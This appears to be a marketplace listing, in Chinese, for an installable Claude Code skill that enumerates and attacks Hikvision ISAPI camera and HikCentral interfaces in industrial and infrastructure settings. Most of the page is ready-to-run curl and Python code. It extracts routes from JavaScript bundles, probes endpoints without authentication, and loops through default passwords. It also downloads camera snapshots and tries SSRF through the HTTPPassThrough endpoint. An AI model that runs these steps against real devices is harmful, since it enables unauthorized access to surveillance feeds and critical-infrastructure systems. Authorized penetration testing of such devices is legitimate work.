mcpField
S
scada-hikvision-isapi

scada-hikvision-isapi

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 scada-hikvision-isapi

scada-hikvision-isapi 是用于在工业控制和监控界面枚举 Hikvision ISAPI 端点的安全测试技能。它介绍从 JavaScript 包中发现路由、探测未认证端点,以及检查认证和视频流的方法。

主要功能

  1. 01Hikvision 界面指纹识别
  2. 02从 JavaScript 提取 ISAPI 路由
  3. 03未认证端点探测
  4. 04CAS、Basic 与 Digest 认证检查
  5. 05摄像头视频流和快照检查
  6. 06暴露面与攻击面梳理

适用场景

  1. 01梳理 Hikvision Web 界面的 ISAPI 路由
  2. 02检查哪些端点可在未认证时响应
  3. 03评估摄像头、存储和视频流暴露情况

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill scada-hikvision-isapi

安装后在 Claude Code 中输入/scada-hikvision-isapi确认已加载。

详细介绍

SCADA 海康威视 ISAPI 枚举

在工业控制和监控 Web 界面中枚举海康威视 ISAPI(智能安防应用编程接口)端点。海康威视设备和 HikCentral Professional 部署会在可预测的路径上提供丰富的 REST/XML API。虽然大多数端点都需要身份验证(CAS 会话令牌、Basic 身份验证或 Digest 身份验证),但未授权枚举仍可揭示设备类型、固件基线、可用模块和潜在攻击面。JavaScript 包通常包含完整的 ISAPI 路由树。

适用场景

  • 非标准端口(443、8443、9443)上的 Web 界面会加载大型 JavaScript 包,其中包含对 /ISAPI/、Bumblebee 或 Streaming/channels 的引用。
  • 端口扫描发现 RTSP(554)、ONVIF(8899)或海康威视专用端口(8000、9010)。
  • 服务器标头或 SSL 证书中提到 Hikvision、HikCentral、iVMS 或 Pyramid。
  • 目标具有工业、能源或基础设施相关背景,可能部署了 SCADA 系统。
  • Web 客户端会从相对路径加载 Common/common.js、Common/components.js 或 Common/vendorGraph.js。

前置条件

  • 配备 curl、python3 和 nmap 的 terminal。
  • 可访问 Web 界面(即使没有身份验证也可以)。
  • 目标会提供 JavaScript 包——下载这些包以提取端点。

快速检测

# Fingerprint the web interface
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET:PORT/" | grep -iE "server|x-powered"

# Download the main JS bundle and scan for ISAPI endpoints
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/" | grep -Eo 'src="([^"]+\.js[^"]*)"' | while read -r match; do
  js_url=$(echo "$match" | grep -Eo '(\./[^"]+\.js[^"]*|/[^"]+\.js[^"]*)')
  [ -n "$js_url" ] && curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT$js_url" | grep -Eo '/ISAPI/[^"'\''\s]{5,80}' | sort -u
done

操作步骤

阶段 1 — 从 JS 包中提取端点

海康威视 Web 客户端会在 JavaScript 中嵌入完整的 API 路由树:

# Download all JS files referenced in the main page
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/" | python3 -c "
import sys, re, requests, urllib3
urllib3.disable_warnings()

html = sys.stdin.read()
base = 'https://TARGET:PORT'

# Find all JS files
scripts = set(re.findall(r'(?:src|href)=\"([^\"]+\.js[^\"]*)\"', html))
for js in scripts:
    url = js if js.startswith('http') else f'{base}{js}' if js.startswith('/') else f'{base}/{js}'
    try:
        r = requests.get(url, verify=False, timeout=10)
        if r.status_code == 200:
            # Extract ISAPI paths
            paths = set(re.findall(r'/ISAPI/[A-Za-z0-9_/]+', r.text))
            if paths:
                print(f'\n{url} ({len(r.text)} bytes):')
                for p in sorted(paths)[:30]:
                    print(f'  {p}')
    except: pass
"
阶段 2 — 未授权端点探测

不进行身份验证,测试提取出的 ISAPI 路径:

ISAPI_PATHS=(
  "/ISAPI/Bumblebee/Platform/V0/KeepLive"
  "/ISAPI/Bumblebee/Platform/V0/CAS/SlaveSession"
  "/ISAPI/Bumblebee/Platform/V1/RecentlyVisitedMenu"
  "/ISAPI/Bumblebee/Platform/V1/SystemConfig/SceneConfig"
  "/ISAPI/Bumblebee/Platform/V0/LogicalResource/CameraElements/"
  "/ISAPI/Bumblebee/DeviceResource/V0/Servers/RecordServers/"
  "/ISAPI/Bumblebee/DeviceResource/V1/PhysicalResource/Devices/"
  "/ISAPI/Bumblebee/Platform/V1/Storage/LocalCloudStorageConfig"
  "/ISAPI/Bumblebee/Platform/V1/Permission/Security/UserPermission"
  "/ISAPI/Bumblebee/Platform/V0/RSM/Sites/"
  "/ISAPI/Streaming/channels/101/picture"
  "/ISAPI/ContentMgmt/StreamingProxy/channel/"
  "/ISAPI/ContentMgmt/download"
)

for path in "${ISAPI_PATHS[@]}"; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -w "\n%{http_code}" "https://TARGET:PORT$path" 2>/dev/null)
  code=$(echo "$response" | tail -1)
  body=$(echo "$response" | head -n -1)
  
  echo "=== $path ($code) ==="
  echo "$body" | head -5
  
  # Decode error codes
  if echo "$body" | grep -q "ErrorCode"; then
    error=$(echo "$body" | grep -Eo 'ErrorCode\"?\s*[:\s]*(\d+)' | grep -Eo '\d+')
    case $error in
      216) echo "  → SESSION_ERROR (auth required)";;
      401) echo "  → UNAUTHORIZED";;
      403) echo "  → FORBIDDEN";;
      404) echo "  → NOT_FOUND";;
      *)   echo "  → Code $error";;
    esac
  fi
done
阶段 3 — 身份验证测试

测试常见的凭据模式:

# XML-based CAS session login
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V0/CAS/SlaveSession" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<SessionLogin xmlns="http://www.isapi.org/ver20/XMLSchema" version="2.0">
  <userName>admin</userName>
  <password>PASSWORD</password>
  <sessionList><session><id>1</id></session></sessionList>
</SessionLogin>'

# JSON-based login
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V0/User/Login" \
  -H "Content-Type: application/json" \
  -d '{"userName":"admin","password":"PASSWORD"}'

# Test default passwords
for pw in admin 12345 123456 password admin123 Hikvision123 hikvision; do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
    "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V0/KeepLive" \
    -u "admin:$pw")
  [ "$code" != "401" ] && echo "Basic auth: admin:$pw → $code"
done
阶段 4 — 流媒体和摄像头访问

如果摄像头通道可访问:

# Try camera snapshots (channel 1-16)
for ch in 1 101 201 301; do
  curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Streaming/channels/$ch/picture" \
    -o "camera_$ch.jpg"
  [ -s "camera_$ch.jpg" ] && echo "Snapshot ch$ch: $(wc -c < camera_$ch.jpg) bytes"
done

# Check for RTSP streaming info
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Streaming/channels/" | head -20

# ONVIF service discovery
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET:PORT/onvif/device_service" \
  -H "Content-Type: application/soap+xml" \
  -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
    <s:Body><GetServices xmlns="http://www.onvif.org/ver10/device/wsdl"/>
    </s:Body></s:Envelope>'
阶段 5 — 危险端点

优先检查以下端点,它们可能导致 SSRF、数据访问或权限提升:

# HTTP pass-through (potential SSRF)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V1/DAM/HTTPPassThrough" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://[REDACTED_IP]/"}' 

# Cloud storage configuration exposure
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V1/Storage/LocalCloudStorageConfig"

# User permission enumeration
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V1/Permission/Security/UserPermission"

# Remote site management
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V0/RSM/Sites/"

注意事项

  • ErrorCode 216 并非完全阻断。 它表示“需要会话”——端点处于活动状态,但需要身份验证。这仍是一项发现(暴露的服务)。
  • HikCentral 与独立设备。 HikCentral Professional(通过 Web 管理)使用 CAS/SlaveSession。独立 NVR/摄像头使用 Basic 或 Digest 身份验证。身份验证方式可以表明部署类型。
  • WebSocket 端点是隐藏的。 JS 中会引用用于本地 WebSocket 连接的 ws://127.0.0.1:。外部 WebSocket 端点可能使用不同端口。
  • RTSP 通常使用 UDP。 标准端口扫描可能会漏掉它。使用 nmap -sU -p 554 检测 UDP RTSP。
  • ONVIF 可能使用端口 80/8080,而非 8899。 使用 ONVIF SOAP 请求探测多个端口。

验证

  1. 确认至少有 5 个 ISAPI 端点会响应(即使返回 ErrorCode 216 也可以)。
  2. 从 JavaScript 包中提取并记录完整的端点树。
  3. 使用和不使用 Basic 身份验证凭据,分别测试每个端点。
  4. 如果有任何端点在未授权的情况下返回数据,记录暴露的信息。
  5. 绘制攻击面:摄像头、流媒体、存储、权限和远程站点。

相关技能

  • port-service-discovery — 检测海康威视/RTSP/ONVIF 端口。
  • hunt-ssrf — 利用 HTTPPassThrough 代理进行 SSRF。
  • iot-camera-recon — IP 摄像头通用侦察模式。
  • js-secrets-extraction — 从可能用于验证 ISAPI 请求的 JS 包中提取 API 密钥和令牌。

评论

支持 Markdown